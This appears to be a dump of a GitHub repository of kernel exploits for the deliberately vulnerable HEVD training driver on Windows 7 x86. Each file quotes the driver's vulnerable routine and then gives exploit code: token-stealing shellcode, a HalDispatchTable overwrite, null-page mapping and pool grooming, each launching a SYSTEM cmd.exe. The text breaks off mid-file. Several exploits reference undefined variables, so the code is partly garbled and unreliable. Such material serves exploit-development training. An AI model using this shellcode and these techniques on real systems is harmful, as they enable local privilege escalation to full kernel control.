├── HEVD-Vanilla-Bug-Class's ├── Compiled.zip ├── HEVD-ArbitraryOverwritex86win7.c ├── HEVD-IntegerOverFlowX86Win7.c ├── HEVD-NullPointerDereference.c ├── HEVD-PoolOverFlow-Win7-x86.c ├── HEVD-StackOverFlowx86Win7.c ├── HEVD-TypeConfX86Win7.c ├── HEVD-Uaf-Win7x86.c └── HEVD-UninitializedStackVariableWin7x86.c ├── LICENSE ├── Primitives ├── HMValidateBitmap.cc └── New Text Document.txt ├── README.md ├── Win10 ├── BitMap_Win_10_15063.0.amd64fre.rs2_release.170317-1834 │ ├── Bin │ │ └── GdiExp.7z │ ├── GdiExp.cc │ ├── README.md │ └── poc │ │ └── POC.PNG ├── PayLoads │ ├── README.txt │ └── TokenStealingShellCode.asm ├── README.md └── SmepByPassWin10x64build.16281Rs3 │ ├── README.md │ ├── SmepBypassX64Win10RS3.c │ └── poc │ ├── QuickPoc.gif │ └── SMEPBypass.PNG └── poc ├── RS3.gif └── kl.txt /HEVD-Vanilla-Bug-Class's/Compiled.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tekwizz123/demos/eec3d4838b03b42b816a6b14a8464ee0e1456cb0/HEVD-Vanilla-Bug-Class's/Compiled.zip -------------------------------------------------------------------------------- /HEVD-Vanilla-Bug-Class's/HEVD-ArbitraryOverwritex86win7.c: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | NTSTATUS TriggerArbitraryOverwrite(IN PWRITE_WHAT_WHERE UserWriteWhatWhere) { 4 | NTSTATUS Status = STATUS_SUCCESS; 5 | 6 | PAGED_CODE(); 7 | 8 | __try { 9 | // Verify if the buffer resides in user mode 10 | ProbeForRead((PVOID)UserWriteWhatWhere, 11 | sizeof(WRITE_WHAT_WHERE), 12 | (ULONG)__alignof(WRITE_WHAT_WHERE)); 13 | 14 | DbgPrint("[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere); 15 | DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%X\n", sizeof(WRITE_WHAT_WHERE)); 16 | DbgPrint("[+] UserWriteWhatWhere->What: 0x%p\n", UserWriteWhatWhere->What); 17 | DbgPrint("[+] UserWriteWhatWhere->Where: 0x%p\n", UserWriteWhatWhere->Where); 18 | 19 | #ifdef SECURE 20 | // Secure Note: This is secure because the developer is properly validating if address 21 | // pointed by 'Where' and 'What' value resides in User mode by calling ProbeForRead() 22 | // routine before performing the write operation 23 | ProbeForRead((PVOID)UserWriteWhatWhere->Where, 24 | sizeof(PULONG), 25 | (ULONG)__alignof(PULONG)); 26 | ProbeForRead((PVOID)UserWriteWhatWhere->What, 27 | sizeof(PULONG), 28 | (ULONG)__alignof(PULONG)); 29 | 30 | *(UserWriteWhatWhere->Where) = *(UserWriteWhatWhere->What); 31 | #else 32 | DbgPrint("[+] Triggering Arbitrary Overwrite\n"); 33 | 34 | // Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability 35 | // because the developer is writing the value pointed by 'What' to memory location 36 | // pointed by 'Where' without properly validating if the values pointed by 'Where' 37 | // and 'What' resides in User mode 38 | *(UserWriteWhatWhere->Where) = *(UserWriteWhatWhere->What); 39 | #endif 40 | } 41 | __except (EXCEPTION_EXECUTE_HANDLER) { 42 | Status = GetExceptionCode(); 43 | DbgPrint("[-] Exception Code: 0x%X\n", Status); 44 | } 45 | 46 | return Status; 47 | } 48 | 49 | ''' 50 | The driver takes two pointers, one shows what the driver 51 | will write to memory and one which provides the location 52 | where the driver will write. Again, great job on showing 53 | the vulnerability and what would have been the secure implementation. 54 | The issue here is that the driver does not validate that the location 55 | of the destination pointer is in userland, 56 | because of this we can overwrite an arbitrary Kernel address (4-bytes) with and arbitrary value (4-bytes). 57 | ''' 58 | 59 | <----------------- 60 | To Put it simply The driver lets us write arbitrary data to an arbitrary location. 61 | (of limited size), to exploit (on win-7) we overwrite a kernel pointer inside HalDispatchTable, to call 62 | NtQueryIntervalProfile in order to get code execution. 63 | ----------------> 64 | 65 | */ 66 | 67 | #include 68 | #include 69 | #include 70 | #include 71 | #include 72 | #include 73 | 74 | typedef NTSTATUS(__stdcall *pNtQueryIntervalProfile)( 75 | ULONG ProfileSource, 76 | PULONG Interval 77 | ); 78 | 79 | typedef NTSTATUS(__stdcall *pfZwQuerySystemInformation)( 80 | SYSTEM_INFORMATION_CLASS SystemInformationClass, 81 | PVOID SystemInformation, 82 | ULONG SystemInformationLength, 83 | PULONG ReturnLength 84 | ); 85 | 86 | #pragma comment(lib,"ntdll.lib") 87 | 88 | FARPROC GetAddress(LPCSTR Sym) 89 | { 90 | typedef enum _SYSTEM_INFORMATION_CLASS { 91 | SystemBasicInformation = 0, 92 | SystemPerformanceInformation = 2, 93 | SystemTimeOfDayInformation = 3, 94 | SystemProcessInformation = 5, 95 | SystemProcessorPerformanceInformation = 8, 96 | SystemModuleInformation = 11, 97 | SystemInterruptInformation = 23, 98 | SystemExceptionInformation = 33, 99 | SystemRegistryQuotaInformation = 37, 100 | SystemLookasideInformation = 45 101 | } SYSTEM_INFORMATION_CLASS; 102 | 103 | 104 | typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY { 105 | HANDLE Section; 106 | PVOID MappedBase; 107 | PVOID ImageBase; 108 | ULONG ImageSize; 109 | ULONG Flags; 110 | USHORT LoadOrderIndex; 111 | USHORT InitOrderIndex; 112 | USHORT LoadCount; 113 | USHORT OffsetToFileName; 114 | UCHAR FullPathName[256]; 115 | } SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY; 116 | 117 | typedef struct _SYSTEM_MODULE_INFORMATION { 118 | ULONG NumberOfModules; 119 | SYSTEM_MODULE_INFORMATION_ENTRY Module[1]; 120 | } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; 121 | 122 | typedef NTSTATUS(NTAPI *_NtQuerySystemInformation)( 123 | SYSTEM_INFORMATION_CLASS SystemInformationClass, 124 | PVOID SystemInformation, 125 | ULONG SystemInformationLength, 126 | PULONG ReturnLength 127 | ); 128 | 129 | DWORD l; 130 | PSYSTEM_MODULE_INFORMATION Mi; 131 | LPVOID kBase = NULL; 132 | PUCHAR kImage = NULL; 133 | HMODULE UKrnl; 134 | FARPROC KSymb = NULL; 135 | FARPROC Add = NULL; 136 | LPCSTR KName = NULL; 137 | 138 | 139 | pfZwQuerySystemInformation ZwQuerySystemInformation = (pfZwQuerySystemInformation) 140 | GetProcAddress(GetModuleHandle(L"ntdll.dll"), "ZwQuerySystemInformation"); 141 | 142 | ZwQuerySystemInformation(SystemModuleInformation, NULL, 0, &l); 143 | ModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc( 144 | NULL, len, MEM_COMMIT | MEM_RESERVE, 145 | PAGE_READWRITE 146 | ); 147 | 148 | ZwQuerySystemInformation(SystemModuleInformation, ModuleInfo, l, &l); 149 | 150 | kBase = ModuleInfo->Module[0].ImageBase; 151 | kImage = ModuleInfo->Module[0].FullPathName; 152 | 153 | KName = (LPCSTR)(Mi->Module[0].FullPathName + ModuleInfo->Module[0].OffsetToFileName); 154 | 155 | UKrnl = LoadLibraryExA(lpKernelName, 0, 0); 156 | 157 | KSym = GetProcAddress(Ukrnl, lpSymbolName); 158 | Add = (FARPROC)((PUCHAR)pUserKernelSymbol - (PUCHAR)UKrnl + (PUCHAR)kBase); 159 | 160 | FreeLibrary(UKrnl); 161 | VirtualFree(Mi, 0, MEM_RELEASE); 162 | 163 | return Add; 164 | } 165 | 166 | #define ioctl CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS) 167 | 168 | int main() 169 | { 170 | CHAR win7x86pl[] = "\x60" 171 | "\x64\xA1\x24\x01\x00\x00" 172 | "\x8B\x40\x50" 173 | "\x89\xC1" 174 | "\x8B\x98\xF8\x00\x00\x00" 175 | "\xBA\x04\x00\x00\x00" 176 | "\x8B\x80\xB8\x00\x00\x00" 177 | "\x2D\xB8\x00\x00\x00" 178 | "\x39\x90\xB4\x00\x00\x00" 179 | "\x75\xED" 180 | "\x8B\x90\xF8\x00\x00\x00" 181 | "\x89\x91\xF8\x00\x00\x00" 182 | "\x61" 183 | "\xC3" 184 | ; 185 | 186 | HANDLE dev = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 187 | GENERIC_READ | GENERIC_WRITE, 188 | NULL, 189 | NULL, 190 | OPEN_EXISTING, 191 | NULL, 192 | NULL 193 | ); 194 | if (dev == INVALID_HANDLE_VALUE) { 195 | return -1; 196 | } 197 | LPVOID payload_ptr = NULL; 198 | LPCSTR Hal = "HalDispatchTable"; 199 | FARPROC Where = NULL; 200 | LPVOID TargetAddress = NULL; 201 | LPVOID pl = VirtualAlloc( 202 | 0, 203 | sizeof(win7x86pl), 204 | MEM_RESERVE | MEM_COMMIT, 205 | PAGE_EXECUTE_READWRITE 206 | ); 207 | memcpy(pl, win7x86pl, sizeof(win7x86pl)); 208 | LPVOID TargetAddress = (LPVOID)malloc(sizeof(LPVOID)); 209 | TargetAddress = &pl; 210 | Where = GetAddress(Hal); 211 | Write = (LPVOID)((ULONG)TargetAddress + 0x4); 212 | auto Buff = (PUCHAR)malloc(sizeof(PUCHAR) * 2); 213 | memcpy(Buff, &Write, 4); 214 | memcpy(Buff + 4, &Where, 4); 215 | DWORD u = 0; 216 | 217 | auto bResult = DeviceIoControl( 218 | dev, 219 | 0x22200B, 220 | chOverwriteBuffer, 8, 221 | NULL, 0, 222 | &u, 223 | (LPOVERLAPPED)NULL 224 | ); 225 | 226 | pNtQueryIntervalProfile NtQueryIntervalProfile = (pNtQueryIntervalProfile) 227 | GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryIntervalProfile"); 228 | NtQueryIntervalProfile(0xa77b, &u); 229 | system("cmd.exe"); 230 | CloseHandle(dev); 231 | system("pause"); 232 | return 0; 233 | } 234 | 235 | -------------------------------------------------------------------------------- /HEVD-Vanilla-Bug-Class's/HEVD-IntegerOverFlowX86Win7.c: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | 4 | NTSTATUS TriggerIntegerOverflow(IN PVOID UserBuffer, IN SIZE_T Size) { 5 | ULONG Count = 0; 6 | NTSTATUS Status = STATUS_SUCCESS; 7 | ULONG BufferTerminator = 0xBAD0B0B0; 8 | ULONG KernelBuffer[BUFFER_SIZE] = {0}; 9 | SIZE_T TerminatorSize = sizeof(BufferTerminator); 10 | 11 | PAGED_CODE(); 12 | 13 | __try { 14 | // Verify if the buffer resides in user mode 15 | ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(KernelBuffer)); 16 | 17 | DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer); 18 | DbgPrint("[+] UserBuffer Size: 0x%X\n", Size); 19 | DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer); 20 | DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer)); 21 | 22 | #ifdef SECURE 23 | // Secure Note: This is secure because the developer is not doing any arithmetic 24 | // on the user supplied value. Instead, the developer is subtracting the size of 25 | // ULONG i.e. 4 on x86 from the size of KernelBuffer. Hence, integer overflow will 26 | // not occur and this check will not fail 27 | if (Size > (sizeof(KernelBuffer) - TerminatorSize)) { 28 | DbgPrint("[-] Invalid UserBuffer Size: 0x%X\n", Size); 29 | 30 | Status = STATUS_INVALID_BUFFER_SIZE; 31 | return Status; 32 | } 33 | #else 34 | DbgPrint("[+] Triggering Integer Overflow\n"); 35 | 36 | // Vulnerability Note: This is a vanilla Integer Overflow vulnerability because if 37 | // 'Size' is 0xFFFFFFFF and we do an addition with size of ULONG i.e. 4 on x86, the 38 | // integer will wrap down and will finally cause this check to fail 39 | if ((Size + TerminatorSize) > sizeof(KernelBuffer)) { 40 | DbgPrint("[-] Invalid UserBuffer Size: 0x%X\n", Size); 41 | 42 | Status = STATUS_INVALID_BUFFER_SIZE; 43 | return Status; 44 | } 45 | #endif 46 | 47 | // Perform the copy operation 48 | while (Count < (Size / sizeof(ULONG))) { 49 | if (*(PULONG)UserBuffer != BufferTerminator) { 50 | KernelBuffer[Count] = *(PULONG)UserBuffer; 51 | UserBuffer = (PULONG)UserBuffer + 1; 52 | Count++; 53 | } 54 | else { 55 | break; 56 | } 57 | } 58 | } 59 | __except (EXCEPTION_EXECUTE_HANDLER) { 60 | Status = GetExceptionCode(); 61 | DbgPrint("[-] Exception Code: 0x%X\n", Status); 62 | } 63 | 64 | return Status; 65 | } 66 | 67 | ''' 68 | Obvious bug is obvious, the terminator size is 4 bytes so if we supply DeviceIoControl with a buffer size which 69 | is between 0xfffffffc and 0xffffffff the driver will add 4 to the integer causing the value to loop round 70 | on itself and pass the check. 71 | ''' 72 | 73 | what he say'd + we can control the callback giving us control over the execution flow. 74 | 75 | 76 | */ 77 | 78 | 79 | 80 | #include 81 | #include 82 | #include 83 | #include 84 | #include 85 | 86 | int main() 87 | { 88 | HANDLE dev = CreateFileA( 89 | "\\\\.\\HackSysExtremeVulnerableDriver", 90 | FILE_READ_ACCESS | FILE_WRITE_ACCESS, 91 | FILE_SHARE_READ | FILE_SHARE_WRITE, 92 | NULL, 93 | OPEN_EXISTING, FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL, 94 | NULL 95 | ); 96 | if (dev == INVALID_HANDLE_VALUE) { 97 | return 1; 98 | } 99 | 100 | DWORD u = 0; 101 | 102 | char pl[66] = 103 | "\x60" 104 | "\x64\xA1\x24\x01\x00\x00" 105 | "\x8B\x40\x50" 106 | "\x89\xC1" 107 | "\x8B\x98\xF8\x00\x00\x00" 108 | "\xBA\x04\x00\x00\x00" 109 | "\x8B\x80\xB8\x00\x00\x00" 110 | "\x2D\xB8\x00\x00\x00" 111 | "\x39\x90\xB4\x00\x00\x00" 112 | "\x75\xED" 113 | "\x8B\x90\xF8\x00\x00\x00" 114 | "\x89\x91\xF8\x00\x00\x00" 115 | "\x61" 116 | "\x31\xC0" 117 | "\x5D" 118 | "\xC2\x08\x00" 119 | ; 120 | LPVOID pla = VirtualAlloc( 121 | NULL, 122 | sizeof(pl), 123 | MEM_COMMIT | MEM_RESERVE, 124 | PAGE_EXECUTE_READWRITE 125 | ); 126 | memcpy(pla, pl, sizeof(pl)); 127 | LPVOID plAddress = &pla; 128 | byte Buff[0x830] = { 0 }; 129 | 130 | memset(Buff,'\x90',0x830); 131 | memcpy(Buff + 0x828, plAddress, 4); 132 | memcpy(Buff + 0x830 - 4, "\xb0\xb0\xd0\xba", 4); 133 | 134 | DeviceIoControl( 135 | dev, 136 | 0x222027, 137 | &Buff, 138 | 0xFFFFFFFF, 139 | NULL, 140 | 0, 141 | &u, 142 | (LPOVERLAPPED)NULL 143 | ); 144 | system("cmd.exe"); 145 | CloseHandle(dev); 146 | system("pause"); 147 | return 0; 148 | } 149 | -------------------------------------------------------------------------------- /HEVD-Vanilla-Bug-Class's/HEVD-NullPointerDereference.c: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | NTSTATUS TriggerNullPointerDereference(IN PVOID UserBuffer) { 4 | ULONG UserValue = 0; 5 | ULONG MagicValue = 0xBAD0B0B0; 6 | NTSTATUS Status = STATUS_SUCCESS; 7 | PNULL_POINTER_DEREFERENCE NullPointerDereference = NULL; 8 | 9 | PAGED_CODE(); 10 | 11 | __try { 12 | // Verify if the buffer resides in user mode 13 | ProbeForRead(UserBuffer, 14 | sizeof(NULL_POINTER_DEREFERENCE), 15 | (ULONG)__alignof(NULL_POINTER_DEREFERENCE)); 16 | 17 | // Allocate Pool chunk 18 | NullPointerDereference = (PNULL_POINTER_DEREFERENCE) 19 | ExAllocatePoolWithTag(NonPagedPool, 20 | sizeof(NULL_POINTER_DEREFERENCE), 21 | (ULONG)POOL_TAG); 22 | 23 | if (!NullPointerDereference) { 24 | // Unable to allocate Pool chunk 25 | DbgPrint("[-] Unable to allocate Pool chunk\n"); 26 | 27 | Status = STATUS_NO_MEMORY; 28 | return Status; 29 | } 30 | else { 31 | DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG)); 32 | DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool)); 33 | DbgPrint("[+] Pool Size: 0x%X\n", sizeof(NULL_POINTER_DEREFERENCE)); 34 | DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference); 35 | } 36 | 37 | // Get the value from user mode 38 | UserValue = *(PULONG)UserBuffer; 39 | 40 | DbgPrint("[+] UserValue: 0x%p\n", UserValue); 41 | DbgPrint("[+] NullPointerDereference: 0x%p\n", NullPointerDereference); 42 | 43 | // Validate the magic value 44 | if (UserValue == MagicValue) { 45 | NullPointerDereference->Value = UserValue; 46 | NullPointerDereference->Callback = &NullPointerDereferenceObjectCallback; 47 | 48 | DbgPrint("[+] NullPointerDereference->Value: 0x%p\n", NullPointerDereference->Value); 49 | DbgPrint("[+] NullPointerDereference->Callback: 0x%p\n", NullPointerDereference->Callback); 50 | } 51 | else { 52 | DbgPrint("[+] Freeing NullPointerDereference Object\n"); 53 | DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG)); 54 | DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference); 55 | 56 | // Free the allocated Pool chunk 57 | ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG); 58 | 59 | // Set to NULL to avoid dangling pointer 60 | NullPointerDereference = NULL; 61 | } 62 | 63 | #ifdef SECURE 64 | // Secure Note: This is secure because the developer is checking if 65 | // 'NullPointerDereference' is not NULL before calling the callback function 66 | if (NullPointerDereference) { 67 | NullPointerDereference->Callback(); 68 | } 69 | #else 70 | DbgPrint("[+] Triggering Null Pointer Dereference\n"); 71 | 72 | // Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability 73 | // because the developer is not validating if 'NullPointerDereference' is NULL 74 | // before calling the callback function 75 | NullPointerDereference->Callback(); 76 | #endif 77 | } 78 | __except (EXCEPTION_EXECUTE_HANDLER) { 79 | Status = GetExceptionCode(); 80 | DbgPrint("[-] Exception Code: 0x%X\n", Status); 81 | } 82 | 83 | return Status; 84 | } 85 | 86 | ''' 87 | Ok, so we have a check on a magic value, if it succeeds we print the value and the callback function 88 | (this is normal execution flow). If the check fails we free the pool tag and null the pointer. 89 | Up to there there is no issue but then, in the vulnerable version, the driver simply calls the callback function without 90 | checking if it was previously nulled! 91 | ''' 92 | 93 | <----------------- 94 | To Put it simply the driver calls the callback 95 | checking if it was previously nulled, on win-7 you can map the null page, again giving the attaker 96 | control over the kernel execution flow. 97 | ----------------> 98 | 99 | */ 100 | 101 | 102 | #include 103 | #include 104 | #include 105 | #include 106 | #include 107 | #include 108 | 109 | int main() 110 | { 111 | HANDLE dev = CreateFileA( 112 | "\\\\.\\HackSysExtremeVulnerableDriver", 113 | FILE_READ_ACCESS | FILE_WRITE_ACCESS, 114 | FILE_SHARE_READ | FILE_SHARE_WRITE, 115 | NULL, 116 | OPEN_EXISTING, FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL, 117 | NULL 118 | ); 119 | if (dev == INVALID_HANDLE_VALUE) { 120 | return 1; 121 | } 122 | 123 | char Buff[20] = "\xDD\xDD\xDD\xDD"; 124 | DWORD u = 0; 125 | 126 | int b = 0x1; 127 | int a = 2048; 128 | int c = 0; 129 | 130 | typedef NTSTATUS(WINAPI *pfNtAllocateVirtualMemory)( 131 | HANDLE ProcessHandle, 132 | PVOID *BaseAddress, 133 | ULONG_PTR ZeroBits, 134 | PSIZE_T AllocationSize, 135 | ULONG AllocationType, 136 | ULONG Protect 137 | ); 138 | 139 | pfNtAllocateVirtualMemory NtAllocateVirtualMemory = (pfNtAllocateVirtualMemory)GetProcAddress( 140 | GetModuleHandleW(L"ntdll.dll"), "NtAllocateVirtualMemory"); 141 | 142 | c = NtAllocateVirtualMemory( 143 | GetCurrentProcess(), 144 | (PVOID *)&b, 145 | 0, 146 | (PSIZE_T)&a, 147 | 0x3000, 148 | 0x40 149 | ); 150 | char sc[60] = 151 | "\x60" 152 | "\x64\xA1\x24\x01\x00\x00" 153 | "\x8B\x40\x50" 154 | "\x89\xC1" 155 | "\x8B\x98\xF8\x00\x00\x00" 156 | "\xBA\x04\x00\x00\x00" 157 | "\x8B\x80\xB8\x00\x00\x00" 158 | "\x2D\xB8\x00\x00\x00" 159 | "\x39\x90\xB4\x00\x00\x00" 160 | "\x75\xED" 161 | "\x8B\x90\xF8\x00\x00\x00" 162 | "\x89\x91\xF8\x00\x00\x00" 163 | "\x61" 164 | "\x31\xC0" 165 | "\xC3" 166 | ; 167 | LPVOID lpv = VirtualAlloc( 168 | NULL, 169 | sizeof(shellcode), 170 | MEM_COMMIT | MEM_RESERVE, 171 | PAGE_EXECUTE_READWRITE 172 | ); 173 | memcpy(lpv, sc, sizeof(sc)); 174 | LPVOID addr = &lpv; 175 | void * bRet = memcpy((LPVOID)0x00000004, addr, 4); 176 | DeviceIoControl(dev, 0x22202B, &Buff, sizeof(Buff), NULL, 0, &u, (LPOVERLAPPED)NULL); 177 | system("cmd.exe"); 178 | CloseHandle(dev); 179 | system("pause"); 180 | return 0; 181 | } 182 | -------------------------------------------------------------------------------- /HEVD-Vanilla-Bug-Class's/HEVD-PoolOverFlow-Win7-x86.c: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | NTSTATUS TriggerPoolOverflow(IN PVOID UserBuffer, IN SIZE_T Size) { 4 | PVOID KernelBuffer = NULL; 5 | NTSTATUS Status = STATUS_SUCCESS; 6 | 7 | PAGED_CODE(); 8 | 9 | __try { 10 | DbgPrint("[+] Allocating Pool chunk\n"); 11 | 12 | // Allocate Pool chunk 13 | KernelBuffer = ExAllocatePoolWithTag(NonPagedPool, 14 | (SIZE_T)POOL_BUFFER_SIZE, 15 | (ULONG)POOL_TAG); 16 | 17 | if (!KernelBuffer) { 18 | // Unable to allocate Pool chunk 19 | DbgPrint("[-] Unable to allocate Pool chunk\n"); 20 | 21 | Status = STATUS_NO_MEMORY; 22 | return Status; 23 | } 24 | else { 25 | DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG)); 26 | DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool)); 27 | DbgPrint("[+] Pool Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE); 28 | DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer); 29 | } 30 | 31 | // Verify if the buffer resides in user mode 32 | ProbeForRead(UserBuffer, (SIZE_T)POOL_BUFFER_SIZE, (ULONG)__alignof(UCHAR)); 33 | 34 | DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer); 35 | DbgPrint("[+] UserBuffer Size: 0x%X\n", Size); 36 | DbgPrint("[+] KernelBuffer: 0x%p\n", KernelBuffer); 37 | DbgPrint("[+] KernelBuffer Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE); 38 | 39 | #ifdef SECURE 40 | // Secure Note: This is secure because the developer is passing a size 41 | // equal to size of the allocated Pool chunk to RtlCopyMemory()/memcpy(). 42 | // Hence, there will be no overflow 43 | RtlCopyMemory(KernelBuffer, UserBuffer, (SIZE_T)BUFFER_SIZE); 44 | #else 45 | DbgPrint("[+] Triggering Pool Overflow\n"); 46 | 47 | // Vulnerability Note: This is a vanilla Pool Based Overflow vulnerability 48 | // because the developer is passing the user supplied value directly to 49 | // RtlCopyMemory()/memcpy() without validating if the size is greater or 50 | // equal to the size of the allocated Pool chunk 51 | RtlCopyMemory(KernelBuffer, UserBuffer, Size); 52 | #endif 53 | 54 | if (KernelBuffer) { 55 | DbgPrint("[+] Freeing Pool chunk\n"); 56 | DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG)); 57 | DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer); 58 | 59 | // Free the allocated Pool chunk 60 | ExFreePoolWithTag(KernelBuffer, (ULONG)POOL_TAG); 61 | KernelBuffer = NULL; 62 | } 63 | } 64 | __except (EXCEPTION_EXECUTE_HANDLER) { 65 | Status = GetExceptionCode(); 66 | DbgPrint("[-] Exception Code: 0x%X\n", Status); 67 | } 68 | 69 | return Status; 70 | } 71 | 72 | ''' 73 | The driver allocates a pool chunk of size X and copies user supplied data into it, 74 | however, it does not check if the user supplied data is larger than the memory it has allocated. 75 | As a result, any extra data will overflow into the adjacent chunk on the non-paged pool. 76 | ''' 77 | 78 | <----------------- 79 | To Put it simply The driver lets us write arbitrary data to a paged pool, a kernel memory region, 80 | with a little memory manipulation we are able to free and allocate object from the paged pool triggering once again 81 | code execution. 82 | ----------------> 83 | 84 | */ 85 | 86 | 87 | #include "windows.h" 88 | 89 | typedef NTSTATUS(__stdcall* pfNtAllocateVirtualMemory)( 90 | HANDLE ProcessHandle, 91 | PVOID *BaseAddress, 92 | ULONG_PTR ZeroBits, 93 | PSIZE_T AllocationSize, 94 | ULONG AllocationType, 95 | ULONG Protect 96 | ); 97 | 98 | int main() 99 | { 100 | byte PoolHeader[0x9] = "\x40\x00\x08\x04\x45\x76\x65\xEE"; 101 | byte objectHeaderQuotaInfo[0x11] = "\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; 102 | byte objectHeader[0x11] = "\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00"; 103 | 104 | int a = 0; 105 | HANDLE res = NULL; 106 | HANDLE reta[10000] = { 0 }; 107 | for (int h = 0; h < 10000; h++) { 108 | res = CreateEventA(NULL, 0, 0, ""); 109 | if (res != NULL) { 110 | a += 1; 111 | reta[h] = result; 112 | } 113 | } 114 | 115 | a = 0; 116 | HANDLE hArr[5000] = { 0 }; 117 | for (int k = 0; k < 5000; k++) { 118 | res = CreateEventA(NULL, 0, 0, ""); 119 | if (result != NULL) { 120 | hArr[i] = res; 121 | a += 1; 122 | } 123 | } 124 | 125 | int f = 0; 126 | for (int a = 0; a < 5000; a += 16) { 127 | for (int zzz = 0; zzz <= 7; zzz++) { 128 | if (CloseHandle(handleArray[a + zzz]) != NULL) { 129 | f += 1; 130 | hArr[a + zzz] = NULL; 131 | } 132 | } 133 | } 134 | 135 | HANDLE dev = CreateFileA( 136 | "\\\\.\\HackSysExtremeVulnerableDriver", 137 | FILE_READ_ACCESS | FILE_WRITE_ACCESS, FILE_SHARE_READ | FILE_SHARE_WRITE, 138 | NULL, 139 | OPEN_EXISTING, 140 | FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, 141 | NULL 142 | ); 143 | if (dev == INVALID_HANDLE_VALUE) { 144 | return 1; 145 | } 146 | 147 | DWORD bRet = 0; 148 | byte Buff[0x220] = { 0 }; 149 | memset(Buff, '\x41', 0x1F8); 150 | memcpy(Buff + 0x1F8, PoolHeader, 0x8); 151 | memcpy(Buff + 0x1F8 + 8, objectHeaderQuotaInfo, 0x10); 152 | memcpy(Buff + 0x1F8 + 10, objectHeader, 0x10); 153 | 154 | char sc[67] = "\x60\x64\xA1\x24\x01\x00\x00\x8B\x40\x50" 155 | "\x89\xC1\x8B\x98\xF8\x00\x00\x00" 156 | "\xBA\x04\x00\x00\x00\x8B\x80\xB8\x00\x00\x00" 157 | "\x2D\xB8\x00\x00\x00\x39\x90\xB4\x00\x00\x00\x75\xED" 158 | "\x8B\x90\xF8\x00\x00\x00" 159 | "\x89\x91\xF8\x00\x00\x00" 160 | "\x61\xC2\x04\x00" 161 | ; 162 | LPVOID lpv = VirtualAlloc( 163 | NULL, 164 | sizeof(sc), 165 | MEM_COMMIT | MEM_RESERVE, 166 | PAGE_EXECUTE_READWRITE 167 | ); 168 | memcpy(lpv, sc, sizeof(sc)); 169 | LPVOID addr = &lpv; 170 | 171 | int b = 1; 172 | int a = 0x78; 173 | pfNtAllocateVirtualMemory NtAllocateVirtualMemory = (pfNtAllocateVirtualMemory)GetProcAddress( 174 | GetModuleHandleA("ntdll.dll"), "NtAllocateVirtualMemory"); 175 | HANDLE allocNullResult = (HANDLE)NtAllocateVirtualMemory( 176 | GetCurrentProcess(), 177 | (PVOID *)&b, 178 | NULL, 179 | (PSIZE_T)&a, 180 | MEM_COMMIT | MEM_RESERVE, 181 | PAGE_EXECUTE_READWRITE 182 | ); 183 | memset((LPVOID)0x0, 0, 0x78); 184 | memcpy((LPVOID)0x60, addr, 4); 185 | DeviceIoControl( 186 | dev, 187 | 0x22200F, 188 | Buff, 189 | sizeof(Buff), 190 | NULL, 191 | 0, 192 | &bRet, 193 | (LPOVERLAPPED)NULL 194 | ); 195 | 196 | for (int t = 0; t < 5000; t++) { 197 | CloseHandle(hArr[t]); 198 | } 199 | 200 | system("cmd.exe"); 201 | system("pause"); 202 | CloseHandle(dev); 203 | return 0; 204 | } 205 | 206 | 207 | -------------------------------------------------------------------------------- /HEVD-Vanilla-Bug-Class's/HEVD-StackOverFlowx86Win7.c: -------------------------------------------------------------------------------- 1 | 2 | 3 | /* 4 | 5 | NTSTATUS TriggerStackOverflow(IN PVOID UserBuffer, IN SIZE_T Size) { 6 | NTSTATUS Status = STATUS_SUCCESS; 7 | ULONG KernelBuffer[BUFFER_SIZE] = {0}; 8 | 9 | PAGED_CODE(); 10 | 11 | __try { 12 | // Verify if the buffer resides in user mode 13 | ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(KernelBuffer)); 14 | 15 | DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer); 16 | DbgPrint("[+] UserBuffer Size: 0x%X\n", Size); 17 | DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer); 18 | DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer)); 19 | 20 | #ifdef 